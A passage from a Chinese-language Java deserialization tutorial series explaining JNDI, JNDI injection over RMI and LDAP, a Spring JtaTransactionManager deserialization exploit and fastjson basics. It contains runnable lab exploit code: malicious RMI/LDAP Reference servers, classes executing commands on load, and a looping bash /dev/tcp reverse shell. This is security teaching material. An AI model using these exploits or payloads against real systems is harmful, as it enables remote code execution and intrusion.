            System.out.println(remoteHello.sayHello("World"));  //调用远程方法
        } catch (RemoteException | NotBoundException e) {
            e.printStackTrace();
        }
    }
}

进一步了解JNDI

InitialContext类

构造方法:

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。

代码:

InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用的方法:

bind(Name name, Object obj) 
    将名称绑定到对象。 
list(String name) 
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
    检索命名对象。 
rebind(String name, Object obj) 
    将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
    取消绑定命名对象。

代码

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法

Reference(String className) 
    为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
    为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
    为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
    为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className – 远程加载时所使用的类名

参数2:classFactory – 加载的class中需要实例化类的名称

参数3:classFactoryLocation – 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr) 
    将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
    将地址添加到地址列表的末尾。  
void clear() 
    从此引用中删除所有地址。  
RefAddr get(int posn) 
    检索索引posn上的地址。  
RefAddr get(String addrType) 
    检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
    检索本参考文献中地址的列举。  
String getClassName() 
    检索引用引用的对象的类名。  
String getFactoryClassLocation() 
    检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
    检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
    从地址列表中删除索引posn上的地址。  
int size() 
    检索此引用中的地址数。  
String toString() 
    生成此引用的字符串表示形式。

代码:

package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

demo

定义一个person类:

import java.io.Serializable;  

import java.rmi.Remote;  

public class Person implements Remote,Serializable { 
    private static final long serialVersionUID = 1L;  
    private String name;  
    private String password;  
    public String getName() {  
        return name;  
    }  
    public void setName(String name) {  
        this.name = name;  
    }  
    public String getPassword() {  
        return password;  
    }  
    public void setPassword(String password) {  
        this.password = password;  
    }  
    public String toString(){  
        return "name:"+name+" password:"+password; 
    }  
}  

服务端以RMI为例:

package com.jndi.demo;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;

public class Test {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        LocateRegistry.createRegistry(3001);       System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
        ////初始化
        InitialContext ctx = new InitialContext();
        //实例化person对象
        Person p = new Person();
        p.setName("hello");
        p.setPassword("jndi");
        //person对象绑定到JNDI服务中,JNDI的名字叫做:person。
        ctx.bind("person", p);
        ctx.close();
    }

    public static void findPerson() throws Exception{
        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
        InitialContext ctx = new InitialContext();
        //通过lookup查找person对象
        Person person = (Person) ctx.lookup("person");
        //打印出这个对象
        System.out.println(person.toString());
        ctx.close();
    }
    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}

调试信息:

在initPerson方法中,注册了rmi服务并绑定了端口,给p对象命名为person,在findPerson方法中查找被命名为person的对象,然后通过。最终输出了hello jndi。

Jndi Naming Reference:

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,就可以理解jndi注入产生的原因了。

JNDI注入

JNDI产生注入的四个原因:
1、lookup参数可控。
2、InitialContext类及他的子类的lookup方法允许动态协议转换
3、lookup查找的对象是Reference类型及其子类
4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

还是上面那个例子,跟进到loopup函数中:

调用getURLOrDefaultInitCt函数:

发现getURLOrDefaultInitCtx会返回两种情况,
第一种getDefaultInit(),
第二种是getUrlContext(scheme,myPorps)。

这说明即使 Context.PROVIDER_URL参数被初为rmi://127.0.0.1:1099/foo,但是如果lookup的参数可控,那我们就可以重写url地址,使url地址指向我们的服务器。例如:

// Create the initial context

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
Context ctx = new InitialContext(env);
// Look up in the local RMI registry
Object local_obj = ctx.lookup(<attacker controlled>);

就可以实现远程加载恶意的对象,实现远程代码执行。

我们发现存在3种方法,可以通过jndi注入导致远程代码执行:

  • rmi、通过jndi reference远程调用object方法。
  • CORBA IOR 远程获取实现类
  • LDAP 通过序列化对象,JNDI Referene,ldap地址

RMI JNDI注入demo

Server端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Server {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);//Registry使用1099端口
        Reference aa = new Reference("ExecObj", "ExecObj", "http://127.0.0.1:8081/");//为类名为“ExecObj”的对象以及对象工厂的类名和位置构造一个新引用。
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);//将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);
        }
}

Client端:

import javax.naming.Context;
import javax.naming.InitialContext;
public class CLIENT {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

ExecObj

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;

public class ExecObj{
    public static void main(String[] args) throws IOException,InterruptedException{
        String cmd = "whoami";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());
        printMessage(process.getErrorStream());
        int value = process.waitFor();
        System.out.println(value);
    }
    private static void printMessage(final InputStream input){
        new Thread(new Runnable(){
            @Override
            public void run(){
                Reader reader = new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try{
                    while((line=bf.readLine())!=null){
                        System.out.println(line);
                    }
                }catch(IOException e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

首先javac ExecObj、将生成的class文件放在web服务器目录下。然后依次执行server端,client端

但是由于JDK 6u132,JDK 7u122,JDK 8u113中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

接下来我们尝试去换低版本的jdk去完成一次利用,同时看看高版本怎么去绕过。

绕过方式

总结

RMI实现一个不同jvm直接程序调用的功能;
JNDI类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象;

RMI+JNDI的攻击方式由于限制使用较少:JDK 6u132,JDK 7u122,JDK 8u113都不可使用

ldap+JNDI的攻击方式使用更为广泛

java反序列化入门(六)JNDI注入利用demo调试

回顾加简单总结

JNDI

是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。就是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象,从而去访问和调用。

其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

rmi

功能是可以在两个jvm中可以调用java程序,不管这两个jvm是在一个pc还是两个pc。

ldap

暂时还不知道

利用思路

JNDI+RMI是一种比较老的利用思路,由于JDK 6u132,JDK 7u122,JDK 8u113中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

接下来我们尝试去换低版本的jdk去完成一次利用,同时看看高版本怎么去绕过:

jdk1.8.73复现JDNI+RMI攻击方式

源码及原理讲解

首先贴代码:

ExecTest

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;

public class ExecTest{
    static {
        try {
            String cmd = "gnome-calculator";
            final Process process = Runtime.getRuntime().exec(cmd);
            printMessage(process.getInputStream());
            printMessage(process.getErrorStream());
            int value = process.waitFor();
            System.out.println("[*] name is ==> "+value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    private static void printMessage(final InputStream input){
        new Thread(new Runnable(){
            @Override
            public void run(){
                Reader reader = new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try{
                    while((line=bf.readLine())!=null){
                        System.out.println(line);
                    }
                }catch(IOException e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

我们看到static域里面是执行反弹计算器的操作,为了证明攻击完成。

之前由于将static方法中的代码段封装成了一个main函数,导致无法执行。后面详细记录litchi的讲解

client

import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

server

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Server {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);//Registry使用1099端口
        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");//为类名为“ExecObj”的对象以及对象工厂的类名和位置构造一个新引用。
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);//将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);
    }
}

这个漏洞的原理在于 client运行的时候 会去服务端 问说aa在哪 服务端回复 说aa在 http://127.0.0.1:8081/ExecTest.class。然后 client去拿这个class 得到之后进行初始化。能rce的原因是class是我们可控的在初始化的时候,会自动执行域里面的方法。所以这个ExecTest里面要把之前在main函数中的代码,放到static域里面让其初始化的时候自动执行。

动态调试

这样就先动态调试一下看看

第一步:调用getURLOrDefaultInitCtx函数:InitialContext.java

```java public Object lookup(String name) throws NamingException { //getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象 //然后在对应协议中去lookup搜索,我们进入lookup函数 return getURLOrDefaultInitCtx(name).lookup(name); } ```

第二步:GenericURLContext.java

//var1="rmi://127.0.0.1:1099/aa"
public Object lookup(String var1) throws NamingException {
    //此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
    //不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
    //进入不同的协议路线
    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象

    Object var4;
    try {
        var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
    } finally {
        var3.close();
    }
    return var4;
}

第三步:RegistryContext.java

//传入var1=aa
public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {//判断来到这里
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));//RMI客户端与注册中心通讯,返回RMI服务IP,地址等信息
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));//我们进入此处
    }
}

第四步:RegistryContext.java

private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            //注意到上面的服务端代码,我们在RMI服务端绑定的是一个Reference对象
            //如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
            //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            //获取reference对象进入此处
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }
}

第五步:NamingManager.java

//传入Reference对象到refinfo
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable<?,?> environment)
    throws Exception
{
        // Use builder if installed
    ...
    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {//满足
        ref = (Reference) refInfo;//复制
    } else if (refInfo instanceof Referenceable) {//不进入
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {//进入此处
        String f = ref.getFactoryClassName();//函数名 ExecTest
        if (f != null) {
            //任意命令执行点1(构造函数、静态代码),进入此处
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                //任意命令执行点2(覆写getObjectInstance),
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }

第六步:NamingManager.java

static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    //尝试从本地获取该class
    try {
            clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    //如果不在本地classpath,从cosebase中获取class
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        //此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/
        try {
            //从我们放置恶意class文件的web服务器中获取class文件
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }
    //实例化我们的恶意class文件
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

直接看到static代码执行时的函数调用栈:

总结一下JNDI+RMI注入的函数调用链:

Context.lookup->
getURLOrDefaultInitCtx.lookup->
GenericURLContext.lookup->
RegistryContext.lookup->
RegistryContext.decodeObject->
NamingManager.getObjectInstance->
NamingManager.getObjectFactoryFromReference->
VersionHelper12.loadClass->
class.forName->
class.forName0

结果如图:

java反序列化入门(七)LDAP+JNDI攻击方式

LDAP简介

LDAP全称为轻量级目录访问协议,客户端与目录服务器遵循LDAP协议来发生交互,比如说新增一个节点,查询某个节点的属性等等。

与关系型数据库一样,LDAP目录服务器是一个概念,包含许多具体实现的产品,比如关系型数据库常见的有MySQL,Oracle等等。LDAP目录服务器也有常见的具体实现,比如:OpenLDAP,Active Directory(Microsoft)。本文以OpenLDAP为例介绍Java如何操作LDAP服务器。

使用场景:比如公司会使用OA,Confluence,gitlab,jira等等办公系统。如果每个系统都需要我们记住一个账号密码,那无疑是很费力的。通过使用LDAP目录服务器将多个应用的用户集中管理起来,每个应用都通过通用的LDAP协议与目录服务器通信,达到用户信息集中管理的目的。

利用(Oracle JDK 11.0.1、8u191、7u201、6u211之后无法使用)

我们在当前jdk1.8.291下进行利用,这个版本经过测试RMI+JNDI失效

利用方法是没差的,我们之前分析的时候也可以看到代码会根据传入协议头的区别去进入对应的处理函数,只需要修改传入参数的解析头,再启动ldap服务,恶意class的web服务即可。

利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191(有问题?? 本地1.8.291测试成功)、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。

LdapServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LdapClient

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

EvilObject.java

import java.lang.Runtime;

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("gnome-calculator");
    }
}

结果:

在看看函数调用栈:

这个单步调试就暂时放下了

绕过JDK 8u191+等高版本限制

所以对于Oracle JDK 11.0.1、8u191(有问题?? 本地1.8.291测试成功)、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

java反序列化入门(八)从spring反序列化攻击再探JNDI注入和反序列化的关系

再谈JNDI

  • RMI,java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA
  • JNDI,是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等

简单的来说就是RMI注册的服务可以让 JNDI 应用程序来访问,调用

贴一个RIM+JNDI绑定并调用的图:

spring反序列化

环境搭建

ubuntu idea
java-1.7
spring-4.3.18
在运行的前要注意需要再maven里面安装jta.jar不然会报错找不到类

漏洞定位

定位到:spring-tx-4.3.18.RELEASE.jar -> org.springframework->transaction->jta->JtaTransactionManager->readObject函数

跟进initUserTransactionAndTransactionManager()方法:

继续跟进lookupUserTransaction函数

定位到

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

userTransactionName变量传入了lookup,如果这里的userTransactionName可控,就能够利用lookup

那么我们看看这个类里面定义的setUserTransactionName就可以了:

public void setUserTransactionName(String userTransactionName) {
    this.userTransactionName = userTransactionName;
}

那么思路就是,在反序列化时,控制userTransactionName为rmi恶意类,同时因为反序列化会自动去调用readObj,然后触发initUserTransactionAndTransactionManager里的lookup,于是造成JNDI RCE。

环境复现

ExploitClient.java

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.HttpFileHandler;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;

public class ExploitClient {
    public static void main(String[] args) {
        try {
            String serverAddress = "127.0.0.1";
            int port = 8000;
            String localAddress= "127.0.0.1";
            System.out.println("Starting HTTP server");
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();
            System.out.println("Creating RMI Registry");
            //rmi注册端口
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);
            System.out.println("Connecting to server "+serverAddress+":"+port);
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");

            // payload
            String jndiAddress = "rmi://"+localAddress+":1099/Object";
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            // 调用该函数对被反序列化的参数进行设定
            object.setUserTransactionName(jndiAddress);

            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            // 对对象进行序列化
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

ExploitableServer.java

import java.io.*;
import java.net.*;

public class ExploitableServer {
    public static void main(String[] args) {
        try {
            //create socket
            ServerSocket serverSocket = new ServerSocket(8000);
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                //wait for connect
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    //readObject to DeSerialize实际调用的是JtaTransactionManager的object函数,最后server端调用lookup对攻击方恶意类进行加载
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
                }
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

HttpFilterHandler.java

package com;

import com.sun.net.httpserver.*;
import java.io.*;

public class HttpFileHandler implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI());
            InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while(inputStream.available()>0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

ExportObject.java

public class ExportObject {

    static{
        try{
            while(true){
                Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/1111 0>&1");
//                Runtime.getRuntime().exec("gnome-calculator");
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public ExportObject() {
        try {
            while(true) {
//                Runtime.getRuntime().exec("gnome-calculator");
                Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/1111 0>&1");

            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }

}

复现的时候没有啥反应,就和同事吃饭去了,回来的时候发现本地弹了几十个计算器….

回来又试了一下好像不是很稳定。有的时候会卡住,反弹shell也没有直接弹出来

java反序列化入门(九)fastjson组件java反序化学习

认识fastjson

初步认识

fastjson组件是阿里巴巴开发的反序列化与序列化组件,使用方法也很简单:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

使用方法

User.java

package com.fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

使用fastjson组件

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

    public static void main(String[] args) {
        //创建一个用于实验的user类
        User user1 = new User();
        user1.setName("lala");
        user1.setAge(11);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        Object obj3 = JSON.parseObject(serializedStr,User.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);
    }
}

结果如下:

//序列化
serializedStr={"age":11,"name":"lala"}

parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}

parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}

parseObject反序列化对象名称:User
parseObject反序列化:User@5cea79f8

